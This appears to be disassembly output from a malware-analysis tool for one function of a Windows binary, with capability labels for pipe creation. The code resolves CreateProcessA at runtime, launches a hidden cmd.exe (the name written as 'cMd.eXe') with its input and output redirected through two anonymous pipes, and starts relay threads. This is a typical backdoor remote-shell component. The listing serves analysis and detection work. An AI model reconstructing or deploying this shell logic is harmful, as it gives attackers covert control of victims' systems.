Function at 0x100076b8
Capabilities:
Create pipe
Create two anonymous pipes
Get common file path

Disassembly:
mov eax, 0x10010a3c
call fcn.1000fee0
sub esp, 0x170
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x34], esi
call fcn.10005e81
xor ebx, ebx
push str.CreateProcessA
push 0x10011288
mov dword [ebp - 4], ebx
mov dword [esi], 0x10012fac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
nop
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x74]
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x2c], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
push 0x40
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x18]
lea edi, [esi + 0x1c]
push ebx
lea eax, [esi + 0x10]
push ecx
push edi
push eax
mov dword [eax], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10007787
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x10007771
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, ebx
je 0x100078c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100078c7
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100077c1
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x100077ae
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x100078c7
push eax
call edi
jmp 0x100078c7
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44
lea ecx, [ebp - 0x78]
push ebx
push ecx
mov dword [ebp - 0x1c], eax
call eax
push 0x10
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [ebp - 0x1c]
add esp, 0x18
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x40], eax
mov eax, dword [edi]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x78], 0x44
push eax
mov word [ebp - 0x48], bx
mov dword [ebp - 0x4c], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x17c]
push str.cMd.eXe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x17c]
push ebx
push eax
call dword [ebp - 0x30]
test eax, eax
jne 0x1000787a
push dword [esi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x100078c7
mov eax, dword [ebp - 0x2c]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x80
call fcn.10005e25
mov ecx, esi
call fcn.10005e6a
push ebx
push ebx
push ebx
push esi
push 0x100079c9
push ebx
push ebx
call fcn.10008cbb
push ebx
push ebx
push ebx
push esi
push 0x1000766e
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.10008cbb
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4